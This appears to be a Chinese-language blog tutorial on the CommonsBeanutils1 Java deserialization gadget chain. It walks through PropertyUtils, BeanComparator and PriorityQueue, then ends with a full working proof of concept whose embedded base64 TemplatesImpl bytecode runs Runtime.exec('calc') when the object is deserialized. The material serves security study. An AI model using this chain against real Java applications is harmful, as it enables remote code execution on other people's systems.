Apache Commons Beanutils
它是Apache Common下的⼀个⼯具集下的另⼀个项⽬,提供对普通Java类对象(JavaBean)的⼀些操作⽅法
至于什么是JavaBean,放一下维基百科的定义,很简单:
- 有一个public的无参数构造函数。
- 属性可以透过get、set、is(可替代get,用在布尔型属性上)方法或遵循特定命名规则的其他方法访问。
- 可序列化。
第二条说白了就是属性都有访问器和更改器。而commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty
,让使用者可以直接调用任 意JavaBean
的getter
方法
⼀个简单的JavaBean
1 2 3 4 5 6 7 8
| public class Baicany{ private String name = "baicany"; public String getName(){ return name; } public void setName(String name){ this.name = name; }
|
环境
commons-beanutils:commons-beanutils:1.9.2
commons-logging:commons-logging:1.2
commons-collections:commons-collections:3.1
JDK 1.8.0_192
PropertyUtils
它是对JavaBean进⾏操作的⼯具类,可单独为某个属性进⾏值的操作的⼯具类。它利⽤反射操作Bean的属性
PropertyUtils类下提供了⼀些静态⽅法,以⽅便开发者直接调⽤⼀些getter和setter⽅法:
- getProperty:返回指定Bean的指定属性的值
- getSimpleProperty:返回指定Bean的指定属性的值
- setProperty:设置指定Bean的指定属性的值
- setSimpleProperty:设置指定Bean的指定属性的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import org.apache.commons.beanutils.PropertyUtils; public class cb { private String _name="baicany"; public String getName() { return _name; } public void setName(String _name) { this._name = _name; } public static void main(String[] args) throws Exception{ cb p=new cb(); p.setName("Baicany"); String name=(String) PropertyUtils.getProperty(p,"name"); System.out.println(name); } }
|
BeanComparator
在cc2的基础上,CommonsBeanutils链寻找了⼀个新的compare进⾏利⽤。在ysoserial中利⽤的是 org.apache.commons.beanutils.BeanComparator.compare⽅法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public int compare(T o1, T o2) { if (this.property == null) { return this.internalCompare(o1, o2); } else { try { Object value1 = PropertyUtils.getProperty(o1, this.property); Object value2 = PropertyUtils.getProperty(o2, this.property); return this.internalCompare(value1, value2); } catch (IllegalAccessException var5) { throw new RuntimeException("IllegalAccessException: " + var5.toString()); } catch (InvocationTargetException var6) { throw new RuntimeException("InvocationTargetException: " + var6.toString()); } catch (NoSuchMethodException var7) { throw new RuntimeException("NoSuchMethodException: " + var7.toString()); } } }
|
其中当 this.property!=null 时,会调⽤PropertyUtils.getProperty⽅法 上⾯分析过PropertyUtils.getProperty⽅法,它可以调⽤o1/o2对象的this.property变量的getter⽅法 ysoserial中,是通过利⽤PropertyUtils.getProperty来调⽤ _outputProperties 变量的getter⽅法,也就是 TemplatesImpl.getOutputProperties⽅法来加载字节码,以达到rec的⽬的
1 2 3 4 5 6 7 8
| public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
|
需要控制o1/o2为TemplatesImpl对象,this.property为 outputProperties 字符串 这样我们就能通过调⽤TemplatesImpl.getOutputProperties⽅法来加载字节码 准备好TemplatesImpl对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| TemplatesImpl impl = new TemplatesImpl(); byte[] code = Base64.getDecoder().decode( "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUB" + "AA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3Vu" + "L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hl" + "L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExj" + "b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9h" + "cGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNo" + "ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJj" + "ZUZpbGUBAAdpby5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEADGNvbS9sYWdvdS9pbwEA" + "QGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0" + "VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFu" + "L2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApn" + "ZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0" + "cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAuAAIAAQAA" + "AA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAoABAALAA0ADAALAAAABAABAAwAAQANAA4A" + "AgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAPAAEADQAQAAIACQAAABkA" + "AAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADwABABEAAAACABI="); setFieldValue(mpl,"_name","baicany"); setFieldValue(mpl,"_bytecodes",new byte[][]{code}); setFieldValue(mpl,"_class",null); setFieldValue(mpl,"_tfactory",new TransformerFactoryImpl());
|
还需要控制this.property变量
来看BeanComparator的构造函数
1 2 3 4 5 6 7 8 9 10 11
| public BeanComparator(String property) { this(property, ComparableComparator.getInstance()); } public BeanComparator(String property, Comparator<?> comparator) { this.setProperty(property); if (comparator != null) { this.comparator = comparator; } else { this.comparator = ComparableComparator.getInstance(); } }
|
准备BeanComparator对象
1
| BeanComparator comparator = new BeanComparator("outputProperties");
|
ysoserial是最后通过反射修改this.property变量的值
1 2
| BeanComparator comparator = new BeanComparator("baicany"); setFieldValue(comparator, "property", "outputProperties");
|
需要利⽤org.apache.commons.beanutils.BeanComparator.compare⽅法
像c2链一样就行了
准备序列化⼊⼝类
1 2 3
| PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1);
|
通过反射修改queue变量,以控制传⼊compare⽅法的o1、o2对象
1 2 3 4 5 6 7
| Object[] queue_array = new Object[]{impl,1}; Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("queue"); size.setAccessible(true); size.set(queue,queue_array); Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); comparator_field.setAccessible(true); comparator_field.set(queue,comparator);
|
其实就跟c2差不多
完整poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.PriorityQueue;
public class cb { public static void main(String[] args) throws Exception{ TemplatesImpl impl = new TemplatesImpl(); byte[] code = Base64.getDecoder().decode( "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUB" + "AA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3Vu" + "L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hl" + "L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExj" + "b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9h" + "cGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNo" + "ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJj" + "ZUZpbGUBAAdpby5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEADGNvbS9sYWdvdS9pbwEA" + "QGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0" + "VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFu" + "L2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApn" + "ZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0" + "cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAuAAIAAQAA" + "AA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAoABAALAA0ADAALAAAABAABAAwAAQANAA4A" + "AgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAPAAEADQAQAAIACQAAABkA" + "AAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADwABABEAAAACABI="); setFieldValue(impl,"_name","baicany"); setFieldValue(impl,"_bytecodes",new byte[][]{code}); setFieldValue(impl,"_class",null); setFieldValue(impl,"_tfactory",new TransformerFactoryImpl()); PriorityQueue queue = new PriorityQueue<>(2); queue.add(1); queue.add(2); BeanComparator comparator = new BeanComparator<>("outputProperties"); Object[] queue_array = new Object[]{impl,1}; setFieldValue(queue,"queue",queue_array); setFieldValue(queue,"comparator",comparator); try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cb.txt")); outputStream.writeObject(queue); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cb.txt")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
|